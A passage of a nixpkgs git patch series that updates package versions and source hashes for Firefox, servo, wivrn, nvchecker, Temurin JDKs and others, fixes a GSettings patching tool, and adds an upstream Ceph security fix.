-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/trs/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/trs/Firefox%20140.0.1.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "65591b585579cfe0a28c118686d291a4e131b68803945cf3668225269a2c75a5";
+      sha256 = "bd8848f95cd11326ee8e919f49a59c7ca97a00bb30e692db8a78187840e7157a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/uk/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/uk/Firefox%20140.0.1.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "92d20201ebd8ccf76098d6c5aeeb345a8da84cfb1a0f2fd901b663266ab23510";
+      sha256 = "ca1c3444a09cb2a69f308e226dbc14265dda160142bf15d79ce89b11e7537f0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ur/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ur/Firefox%20140.0.1.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "1a900caeaeea8d208bd1bfcf6365c8b71526cb6cb01b4caff813636fa930abcd";
+      sha256 = "0d043d47d3336ded40a7e5474be3f39dffc3c089dec68bc0a8e41f77034fb1fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/uz/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/uz/Firefox%20140.0.1.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "335fe10336466a6fc773644ca55aa0b02b12a3452268b2084df676f4f63f6aac";
+      sha256 = "beebcc97502de3be6ec43d485ed787de93ebbbe1c5b9d4fb816340ab9555c0d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/vi/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/vi/Firefox%20140.0.1.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "c95acd66d454b769d2f0d590a89856d0d7c488d05f7172ed03b886730d095ec1";
+      sha256 = "d4f38111ad4b1664230284545db3166f38d50cd124ebb1935087d358fceaff22";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/xh/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/xh/Firefox%20140.0.1.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "7b2da794e59fcba899d3b0fa481b1bcf87a2c0ff37e92a309c580bbac79b7d32";
+      sha256 = "892a987d5db7fcd430a1f554680a506f4ea8831430f7cf885762dee2a915f585";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/zh-CN/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/zh-CN/Firefox%20140.0.1.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "a62709ca0a15017aa95e26b6295a60d382b94662e2f45e54977991c2f155c753";
+      sha256 = "f6b2f1c906f1daa0bf11f29be3c05436e763884da448de96a6f2cd0518fd6b9c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/zh-TW/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/zh-TW/Firefox%20140.0.1.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "94de38627dd06786fde9c783315917c2621df7bd6515333044c1efb6e550528d";
+      sha256 = "38e6797eef99447e204ed63e12592b8e8294449b577adcba4982cba01f1737f3";
     }
   ];
 }

From dbf764076448be44d7a3614fb7de94f7655c9d84 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Sat, 17 May 2025 19:55:04 +0200
Subject: [PATCH 1636/4511] makeHardcodeGsettingsPatch: Fix
 `schemaExistsFunction` w/o stdbool.h

If project uses C and does not include `stdbool.h`,
it will not have available lowercase booleans.
However, since this tool targets GLib programs,
we can rely on uppercase constants defined by GLib.

(cherry picked from commit 5309164a9632bbe971a3b8915f6e0164962d9be0)
---
 .../make-hardcode-gsettings-patch/hardcode-gsettings.cocci  | 2 +-
 .../fixtures/example-project-patched-with-exists-fn/main.c  | 6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/build-support/make-hardcode-gsettings-patch/hardcode-gsettings.cocci b/pkgs/build-support/make-hardcode-gsettings-patch/hardcode-gsettings.cocci
index ceee9a657610..a7374a117262 100644
--- a/pkgs/build-support/make-hardcode-gsettings-patch/hardcode-gsettings.cocci
+++ b/pkgs/build-support/make-hardcode-gsettings-patch/hardcode-gsettings.cocci
@@ -162,4 +162,4 @@ expression SCHEMA_ID;
 identifier schema_exists_fn.fn;
 @@
 -fn(SCHEMA_ID)
-+true
++TRUE
diff --git a/pkgs/test/make-hardcode-gsettings-patch/fixtures/example-project-patched-with-exists-fn/main.c b/pkgs/test/make-hardcode-gsettings-patch/fixtures/example-project-patched-with-exists-fn/main.c
index f99324cd9c64..3ad87f34b42a 100644
--- a/pkgs/test/make-hardcode-gsettings-patch/fixtures/example-project-patched-with-exists-fn/main.c
+++ b/pkgs/test/make-hardcode-gsettings-patch/fixtures/example-project-patched-with-exists-fn/main.c
@@ -74,7 +74,7 @@ void schema_id_with_path() {
 }
 
 void exists_fn_guard() {
-  if (!true) {
+  if (!TRUE) {
     return;
   }
 
@@ -89,7 +89,7 @@ void exists_fn_guard() {
 }
 
 void exists_fn_nested() {
-  if (true) {
+  if (TRUE) {
     g_autoptr(GSettings) settings = NULL;
     {
       g_autoptr(GSettingsSchemaSource) schema_source;
@@ -102,7 +102,7 @@ void exists_fn_nested() {
 }
 
 void exists_fn_unknown() {
-  if (true) {
+  if (TRUE) {
     g_autoptr(GSettings) settings = NULL;
     {
       g_autoptr(GSettingsSchemaSource) schema_source;

From f2ddfea970766814902ea9b5d630198b2c2de43a Mon Sep 17 00:00:00 2001
From: Zhong Jianxin <azuwis@gmail.com>
Date: Thu, 26 Jun 2025 15:03:44 +0800
Subject: [PATCH 1637/4511] terraform-providers.alicloud: 1.246.2 -> 1.252.0

Upstream removed `./vendor` dir after v1.247.0

(cherry picked from commit 58d1455ddb92b4381b47684b280e98847cfdee8a)
---
 .../networking/cluster/terraform-providers/providers.json   | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/networking/cluster/terraform-providers/providers.json b/pkgs/applications/networking/cluster/terraform-providers/providers.json
index d48b715ff3c7..3c50ce307357 100644
--- a/pkgs/applications/networking/cluster/terraform-providers/providers.json
+++ b/pkgs/applications/networking/cluster/terraform-providers/providers.json
@@ -45,13 +45,13 @@
     "vendorHash": "sha256-Sp65odS8Axdv5UpA5j2SXvbC/rfet4GlIawxk054Cs4="
   },
   "alicloud": {
-    "hash": "sha256-Jn4VzU6aPhMv6eMmXQ5gD5SA9IZfpmkRKpTrjRGrNF8=",
+    "hash": "sha256-RSZaZ8+m+e2ZbJIcv9In0HJRhuk1rTGmMcUT0hTqwHA=",
     "homepage": "https://registry.terraform.io/providers/aliyun/alicloud",
     "owner": "aliyun",
     "repo": "terraform-provider-alicloud",
-    "rev": "v1.246.2",
+    "rev": "v1.252.0",
     "spdx": "MPL-2.0",
-    "vendorHash": null
+    "vendorHash": "sha256-Ww4l3ffnx0CB+wnQfaiHI+25JtnNsGaTCsmXfd54R4g="
   },
   "ansible": {
     "hash": "sha256-3nha5V4rNgVzgqliebmbC5e12Lj/zlCsyyiIVFlmUrY=",

From f67ce560b24a470c817ada13afe0d263ca42370e Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Tue, 24 Jun 2025 14:04:31 -0600
Subject: [PATCH 1638/4511] matrix-authentication-service: 0.16.0 -> 0.17.1

https://github.com/element-hq/matrix-authentication-service/releases/tag/v0.17.1
Diff: https://github.com/element-hq/matrix-authentication-service/compare/v0.16.0...v0.17.1
(cherry picked from commit b1744596816c4e2e48e94158215162721f90f62a)
---
 pkgs/by-name/ma/matrix-authentication-service/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-authentication-service/package.nix b/pkgs/by-name/ma/matrix-authentication-service/package.nix
index 2612dcc1f616..58a84b77acfb 100644
--- a/pkgs/by-name/ma/matrix-authentication-service/package.nix
+++ b/pkgs/by-name/ma/matrix-authentication-service/package.nix
@@ -16,22 +16,22 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "matrix-authentication-service";
-  version = "0.16.0";
+  version = "0.17.1";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "matrix-authentication-service";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-/UrMmC5DTxoN6uzvTB+V3//hGQmKlkYvi5Lv4p31fq4=";
+    hash = "sha256-iBDvvKy5alaieIm+Jv9WnqHVGjItDSvJAk+ClTRj3v0=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-UvRv69rHqPNqTg5nhUojTDHEFUIXF8LEB4ndzA7CHc0=";
+  cargoHash = "sha256-rHlzLawpCD9onhca9NzgUXmA2vDmW48cQrV05qs+tn8=";
 
   npmDeps = fetchNpmDeps {
     name = "${finalAttrs.pname}-${finalAttrs.version}-npm-deps";
     src = "${finalAttrs.src}/${finalAttrs.npmRoot}";
-    hash = "sha256-7EN8GIO8VutAZujVvgM67fGIXWD2aJhHhEJrTeHRiGE=";
+    hash = "sha256-0rJAU4PZAshTu6KD4EzIltUT8PO4dnWCY5oM3kyxBBk=";
   };
 
   npmRoot = "frontend";

From 65a7f247796ca50db1a2976ebd129079e507513b Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Fri, 27 Jun 2025 04:09:21 +0200
Subject: [PATCH 1639/4511] servo: unstable-2025-06-04 -> unstable-2025-06-26

(cherry picked from commit 6511342e44715cd57af40d776e0f6ab2b47f32b8)
---
 pkgs/by-name/se/servo/package.nix | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/se/servo/package.nix b/pkgs/by-name/se/servo/package.nix
index 685a983fae63..d643b7e14c1f 100644
--- a/pkgs/by-name/se/servo/package.nix
+++ b/pkgs/by-name/se/servo/package.nix
@@ -16,8 +16,9 @@
   makeWrapper,
   perl,
   pkg-config,
-  python3,
+  python311,
   taplo,
+  uv,
   which,
   yasm,
   zlib,
@@ -41,7 +42,8 @@
 }:
 
 let
-  customPython = python3.withPackages (
+  # match .python-version
+  customPython = python311.withPackages (
     ps: with ps; [
       packaging
     ]
@@ -61,13 +63,13 @@ in
 
 rustPlatform.buildRustPackage {
   pname = "servo";
-  version = "0-unstable-2025-06-04";
+  version = "0-unstable-2025-06-26";
 
   src = fetchFromGitHub {
     owner = "servo";
     repo = "servo";
-    rev = "e78c033b5bc36a9576530869b38eba88080342d1";
-    hash = "sha256-BG0zQRLEM9bghjkB+He5fqpfinowRcn1k1oqhODzaPI=";
+    rev = "cbb0407ae641c049dd6796275b4ba8572c06b798";
+    hash = "sha256-d0Z+dvnNm3NxvGe/W/zJsAsyeMvxF9HoA+wSclWeLgk=";
     # Breaks reproducibility depending on whether the picked commit
     # has other ref-names or not, which may change over time, i.e. with
     # "ref-names: HEAD -> main" as long this commit is the branch HEAD
@@ -78,7 +80,7 @@ rustPlatform.buildRustPackage {
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-7jbaJSmz7isAiOYVXJ3gXorA2lhDEiVpL+l8gkOnQuM=";
+  cargoHash = "sha256-j6cQalYbeHunI1t4VRQkbqGNylwWg0NBoItwloYTfAE=";
 
   # set `HOME` to a temp dir for write access
   # Fix invalid option errors during linking (https://github.com/mozilla/nixpkgs-mozilla/commit/c72ff151a3e25f14182569679ed4cd22ef352328)
@@ -100,14 +102,16 @@ rustPlatform.buildRustPackage {
     makeWrapper
     perl
     pkg-config
-    python3
     rustPlatform.bindgenHook
     taplo
+    uv
     which
     yasm
     zlib
   ];
 
+  env.UV_PYTHON = customPython.interpreter;
+
   buildInputs =
     [
       fontconfig

From 05e0c7e5fa7210825b5f15d2a44c3b12c41a5b16 Mon Sep 17 00:00:00 2001
From: Moraxyc <i@qaq.li>
Date: Thu, 26 Jun 2025 01:14:46 +0800
Subject: [PATCH 1640/4511] python313Packages.aria2p: build with tui by default

(cherry picked from commit 6f12747ade6404bcf18c2c4800ccc57f9e83efd7)
---
 pkgs/development/python-modules/aria2p/default.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/aria2p/default.nix b/pkgs/development/python-modules/aria2p/default.nix
index 19e589186fc9..a34f71e9032b 100644
--- a/pkgs/development/python-modules/aria2p/default.nix
+++ b/pkgs/development/python-modules/aria2p/default.nix
@@ -19,6 +19,8 @@
   pytestCheckHook,
   responses,
   uvicorn,
+
+  withTui ? true,
 }:
 
 buildPythonPackage rec {
@@ -43,7 +45,7 @@ buildPythonPackage rec {
     setuptools # for pkg_resources
     toml
     websocket-client
-  ];
+  ] ++ lib.optionals withTui optional-dependencies.tui;
 
   optional-dependencies = {
     tui = [

From 3a3af8c8d1529a932dd895909360174ff349ba28 Mon Sep 17 00:00:00 2001
From: Moraxyc <i@qaq.li>
Date: Thu, 26 Jun 2025 01:27:08 +0800
Subject: [PATCH 1641/4511] python313Packages.aria2p: mark broken on darwin

(cherry picked from commit 44e363ac53e79f0ab78b82cb54c81e8848f5f44d)
---
 pkgs/development/python-modules/aria2p/default.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/development/python-modules/aria2p/default.nix b/pkgs/development/python-modules/aria2p/default.nix
index a34f71e9032b..3455d7b859f9 100644
--- a/pkgs/development/python-modules/aria2p/default.nix
+++ b/pkgs/development/python-modules/aria2p/default.nix
@@ -1,5 +1,6 @@
 {
   lib,
+  stdenv,
   buildPythonPackage,
   fetchFromGitHub,
   pythonOlder,
@@ -88,5 +89,8 @@ buildPythonPackage rec {
     mainProgram = "aria2p";
     license = licenses.isc;
     maintainers = with maintainers; [ koral ];
+    badPlatforms = [
+      lib.systems.inspect.patterns.isDarwin
+    ];
   };
 }

From 213943734fbbd37978d32cde9e61ef4a355723c5 Mon Sep 17 00:00:00 2001
From: Moraxyc <i@qaq.li>
Date: Thu, 26 Jun 2025 01:45:38 +0800
Subject: [PATCH 1642/4511] python313Packages.aria2p: modernize

(cherry picked from commit bf049492518aa9d0772097d20e6e9b9d964afeaa)
---
 pkgs/development/python-modules/aria2p/default.nix | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/python-modules/aria2p/default.nix b/pkgs/development/python-modules/aria2p/default.nix
index 3455d7b859f9..7f5355a02744 100644
--- a/pkgs/development/python-modules/aria2p/default.nix
+++ b/pkgs/development/python-modules/aria2p/default.nix
@@ -27,7 +27,8 @@
 buildPythonPackage rec {
   pname = "aria2p";
   version = "0.12.1";
-  format = "pyproject";
+  pyproject = true;
+
   disabled = pythonOlder "3.6";
 
   src = fetchFromGitHub {
@@ -82,13 +83,13 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "aria2p" ];
 
-  meta = with lib; {
+  meta = {
     homepage = "https://github.com/pawamoy/aria2p";
     changelog = "https://github.com/pawamoy/aria2p/blob/${src.tag}/CHANGELOG.md";
     description = "Command-line tool and library to interact with an aria2c daemon process with JSON-RPC";
     mainProgram = "aria2p";
-    license = licenses.isc;
-    maintainers = with maintainers; [ koral ];
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ koral ];
     badPlatforms = [
       lib.systems.inspect.patterns.isDarwin
     ];

From 568412249755b71c9ce101cc7458d9bc8059737d Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Thu, 26 Jun 2025 13:30:38 -0400
Subject: [PATCH 1643/4511] arc-browser: 1.100.0-64467 -> 1.101.0-64746

(cherry picked from commit dba842b86511ac418fafdb976a6ff44475004dbd)
---
 pkgs/by-name/ar/arc-browser/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ar/arc-browser/package.nix b/pkgs/by-name/ar/arc-browser/package.nix
index 46d81dac6e60..ebe4fc34719f 100644
--- a/pkgs/by-name/ar/arc-browser/package.nix
+++ b/pkgs/by-name/ar/arc-browser/package.nix
@@ -10,11 +10,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "arc-browser";
-  version = "1.100.0-64467";
+  version = "1.101.0-64746";
 
   src = fetchurl {
     url = "https://releases.arc.net/release/Arc-${finalAttrs.version}.dmg";
-    hash = "sha256-fMC35haQOB/YY5EbnvusTOiNbck7Vo9rmM6whVp8l80=";
+    hash = "sha256-u391hQB+Fqw21cu9GQglOkPHie+8uK8FTxSLWLAH0eA=";
   };
 
   nativeBuildInputs = [ undmg ];

From 114ae4311800f5a12c4e778e4aa4345505ac7574 Mon Sep 17 00:00:00 2001
From: Sapphire <imsapphire0@gmail.com>
Date: Thu, 26 Jun 2025 15:44:26 -0500
Subject: [PATCH 1644/4511] wivrn: 0.25 -> 25.6

(cherry picked from commit c29d2934dd60ba812a025ee8733f2da36cdf6bb1)
---
 pkgs/by-name/wi/wivrn/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/wi/wivrn/package.nix b/pkgs/by-name/wi/wivrn/package.nix
index c89fbddd8e1d..e8fc691d1daa 100644
--- a/pkgs/by-name/wi/wivrn/package.nix
+++ b/pkgs/by-name/wi/wivrn/package.nix
@@ -51,13 +51,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "wivrn";
-  version = "0.25";
+  version = "25.6";
 
   src = fetchFromGitHub {
     owner = "wivrn";
     repo = "wivrn";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-dDf+BW0AZMWRlWl0ye5s3Muurz+CiM3U5+bYgaFIT7M=";
+    hash = "sha256-opl1zPQrdOMgDY0rYZccNNRpgba6FQZMHxvgKNS7svM=";
   };
 
   monado = applyPatches {
@@ -65,8 +65,8 @@ stdenv.mkDerivation (finalAttrs: {
       domain = "gitlab.freedesktop.org";
       owner = "monado";
       repo = "monado";
-      rev = "2a6932d46dad9aa957205e8a47ec2baa33041076";
-      hash = "sha256-Bus9GTNC4+nOSwN8pUsMaFsiXjlpHYioQfBLxbQEF+0=";
+      rev = "bb9bcee2a3be75592de819d9e3fb2c8ed27bb7dc";
+      hash = "sha256-+PiWxnvMXaSFc+67r17GBRXo7kbjikSElawNMJCydrk=";
     };
 
     postPatch = ''
@@ -79,7 +79,7 @@ stdenv.mkDerivation (finalAttrs: {
   # Let's make sure our monado source revision matches what is used by WiVRn upstream
   postUnpack = ''
     ourMonadoRev="${finalAttrs.monado.src.rev}"
-    theirMonadoRev=$(sed -n '/FetchContent_Declare(monado/,/)/p' ${finalAttrs.src.name}/CMakeLists.txt | grep "GIT_TAG" | awk '{print $2}')
+    theirMonadoRev=$(cat ${finalAttrs.src.name}/monado-rev)
     if [ ! "$theirMonadoRev" == "$ourMonadoRev" ]; then
       echo "Our Monado source revision doesn't match CMakeLists.txt." >&2
       echo "  theirs: $theirMonadoRev" >&2

From aa1a92e268c8b071b95202ac6c2f2a579e49b955 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Niklas=20Hamb=C3=BCchen?= <mail@nh2.me>
Date: Fri, 27 Jun 2025 00:04:06 +0000
Subject: [PATCH 1645/4511] ceph: Add patch to fix CVE-2025-52555

See https://github.com/ceph/ceph/security/advisories/GHSA-89hm-qq33-2fjm

(cherry picked from commit ab0558d53293a2f20ff1d20c9e6634a4f940b6c9)
---
 pkgs/tools/filesystems/ceph/default.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/pkgs/tools/filesystems/ceph/default.nix b/pkgs/tools/filesystems/ceph/default.nix
index 52e3054b6ce7..ecfa6e205bd0 100644
--- a/pkgs/tools/filesystems/ceph/default.nix
+++ b/pkgs/tools/filesystems/ceph/default.nix
@@ -389,6 +389,14 @@ rec {
       # * <https://aur.archlinux.org/cgit/aur.git/commit/?h=ceph&id=8c5cc7d8deec002f7596b6d0860859a0a718f12b>
       # * <https://github.com/ceph/ceph/pull/60999>
       ./boost-1.86-PyModule.patch
+
+      # TODO: Remove with Ceph >= 19.2.3
+      (fetchpatch2 {
+        name = "ceph-squid-client-disallow-unprivileged-users-to-escalate-root-privileges.patch";
+        url = "https://github.com/ceph/ceph/commit/380da5049e8ea7c35f34022fba24d3e2d4db6dd8.patch?full_index=1";
+        hash = "sha256-hVJ1v/n2YCJLusw+DEyK12MG73sJ/ccwbSc+2pLRxvw=";
+      })
+
     ];
 
     nativeBuildInputs = [

From ca856d30e99dfeaed283b36f333aabf94dca41eb Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Sun, 18 May 2025 09:22:10 +0200
Subject: [PATCH 1646/4511] python313Packages.nvchecker: 2.16 -> 2.17

Diff: https://github.com/lilydjwg/nvchecker/compare/refs/tags/v2.16...refs/tags/v2.17

Changelog: https://github.com/lilydjwg/nvchecker/releases/tag/v2.17
(cherry picked from commit 9bc5a74efef4d294b7ea7c5caabe203c9881549b)
---
 pkgs/development/python-modules/nvchecker/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/nvchecker/default.nix b/pkgs/development/python-modules/nvchecker/default.nix
index d93ae1ba406d..449873b36d06 100644
--- a/pkgs/development/python-modules/nvchecker/default.nix
+++ b/pkgs/development/python-modules/nvchecker/default.nix
@@ -22,7 +22,7 @@
 
 buildPythonPackage rec {
   pname = "nvchecker";
-  version = "2.16";
+  version = "2.17";
   pyproject = true;
 
   disabled = pythonOlder "3.8";
@@ -31,7 +31,7 @@ buildPythonPackage rec {
     owner = "lilydjwg";
     repo = "nvchecker";
     tag = "v${version}";
-    hash = "sha256-HdL3BnjQZzKXtjhQqDst6dJH82g3BONFsGUnwzDMRDA=";
+    hash = "sha256-jA41WoD0WXdb8CM9dUchIAhYd4GoUA9zLYbkaPIScLg=";
   };
 
   build-system = [ setuptools ];

From 93db4db6e02fe844045b68c4dd62d93b270a7c85 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 25 Jun 2025 14:59:24 -0400
Subject: [PATCH 1647/4511] nvchecker: 2.17 -> 2.18

Diff: https://github.com/lilydjwg/nvchecker/compare/refs/tags/v2.17...refs/tags/v2.18

Changelog: https://github.com/lilydjwg/nvchecker/releases/tag/v2.18
(cherry picked from commit 5b5b83757f2f9a3463c04a833042ceba2d3d88e5)
---
 pkgs/development/python-modules/nvchecker/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/nvchecker/default.nix b/pkgs/development/python-modules/nvchecker/default.nix
index 449873b36d06..16473d9a02fc 100644
--- a/pkgs/development/python-modules/nvchecker/default.nix
+++ b/pkgs/development/python-modules/nvchecker/default.nix
@@ -22,7 +22,7 @@
 
 buildPythonPackage rec {
   pname = "nvchecker";
-  version = "2.17";
+  version = "2.18";
   pyproject = true;
 
   disabled = pythonOlder "3.8";
@@ -31,7 +31,7 @@ buildPythonPackage rec {
     owner = "lilydjwg";
     repo = "nvchecker";
     tag = "v${version}";
-    hash = "sha256-jA41WoD0WXdb8CM9dUchIAhYd4GoUA9zLYbkaPIScLg=";
+    hash = "sha256-6uFox07mZeKwyhRXGuU8dMoPhLB5CkgdLaWCfG2dy4k=";
   };
 
   build-system = [ setuptools ];

From d0be1c72f6cee499574c17cab94967ce745572d0 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 25 Jun 2025 15:01:39 -0400
Subject: [PATCH 1648/4511] nvchecker: adopt, set passthru.updateScript

(cherry picked from commit 34ae1e56c1305b84309ea6b750db7af6af62862c)
---
 pkgs/development/python-modules/nvchecker/default.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/nvchecker/default.nix b/pkgs/development/python-modules/nvchecker/default.nix
index 16473d9a02fc..7356b900ff19 100644
--- a/pkgs/development/python-modules/nvchecker/default.nix
+++ b/pkgs/development/python-modules/nvchecker/default.nix
@@ -4,6 +4,7 @@
   buildPythonPackage,
   docutils,
   fetchFromGitHub,
+  nix-update-script,
   flaky,
   installShellFiles,
   pycurl,
@@ -77,11 +78,13 @@ buildPythonPackage rec {
     htmlparser = [ lxml ];
   };
 
+  passthru.updateScript = nix-update-script { };
+
   meta = {
     description = "New version checker for software";
     homepage = "https://github.com/lilydjwg/nvchecker";
     changelog = "https://github.com/lilydjwg/nvchecker/releases/tag/v${version}";
     license = lib.licenses.mit;
-    maintainers = [ ];
+    maintainers = [ lib.maintainers.mdaniels5757 ];
   };
 }

From c5e104211ca16a2e25365d1f552a5ed6c5b55742 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Galder=20Zamarre=C3=B1o?= <galder@zamarreno.com>
Date: Thu, 1 May 2025 10:24:33 +0200
Subject: [PATCH 1649/4511] temurin-{,jre-}bin-{8,11,17,24}: update

(cherry picked from commit 77dda472ebbdb5fd03ef9c4992af302f259223d2)
---
 .../compilers/temurin-bin/sources.json        | 640 +++++++++---------
 1 file changed, 320 insertions(+), 320 deletions(-)

diff --git a/pkgs/development/compilers/temurin-bin/sources.json b/pkgs/development/compilers/temurin-bin/sources.json
index 107a34419b07..d1db6a2b711c 100644
--- a/pkgs/development/compilers/temurin-bin/sources.json
+++ b/pkgs/development/compilers/temurin-bin/sources.json
@@ -6,36 +6,36 @@
           "packageType": "jdk",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "4",
-            "sha256": "2e1f667395cdb1e872bd7320e3eda96c0f0978e29e574e75f9cdf61160e8974a",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jdk_x64_alpine-linux_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "5defac0a735690b04bc1bbe9d7e3b5faed6dd54f946858349ba114394f8fb386",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jdk_x64_alpine-linux_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           }
         },
         "openjdk17": {
           "packageType": "jdk",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "7",
-            "sha256": "259c85e16f7bbfdfb3e0a2ec1c5d6e2063300d413422286583265a9d8a882358",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jdk_x64_alpine-linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "c596f5c627f84cd801bd7a443cd0743304a6aabb7397e0fdbfad16a9517f7f98",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jdk_x64_alpine-linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           }
         },
         "openjdk21": {
           "aarch64": {
-            "build": "7",
-            "sha256": "2798990401d9c47eaeddb7d5148f577770e4c1013b9223290a43765463204ae4",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jdk_aarch64_alpine-linux_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "76dbb5152f15e509a5fc965936b2b912f806bb977853ab028c362c5340b1c4e9",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jdk_aarch64_alpine-linux_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           },
           "packageType": "jdk",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "7",
-            "sha256": "6c66470a9143ad562570a34c1583d9fa50bf904f6f9ced642e9d800ce043a0f3",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jdk_x64_alpine-linux_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "79ecc4b213d21ae5c389bea13c6ed23ca4804a45b7b076983356c28105580013",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jdk_x64_alpine-linux_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           }
         },
         "openjdk23": {
@@ -56,28 +56,28 @@
         },
         "openjdk24": {
           "aarch64": {
-            "build": "36",
-            "sha256": "4a673456aa6e726b86108a095a21868b7ebcdde050a92b3073d50105ff92f07f",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jdk_aarch64_alpine-linux_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "97b14f9c2f7e7ba4d4a958bba6835a23353b5fd858725031fc42af4f40a5a4ad",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jdk_aarch64_alpine-linux_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           },
           "packageType": "jdk",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "36",
-            "sha256": "a642608f0da78344ee6812fb1490b8bc1d7ad5a18064c70994d6f330568c51cb",
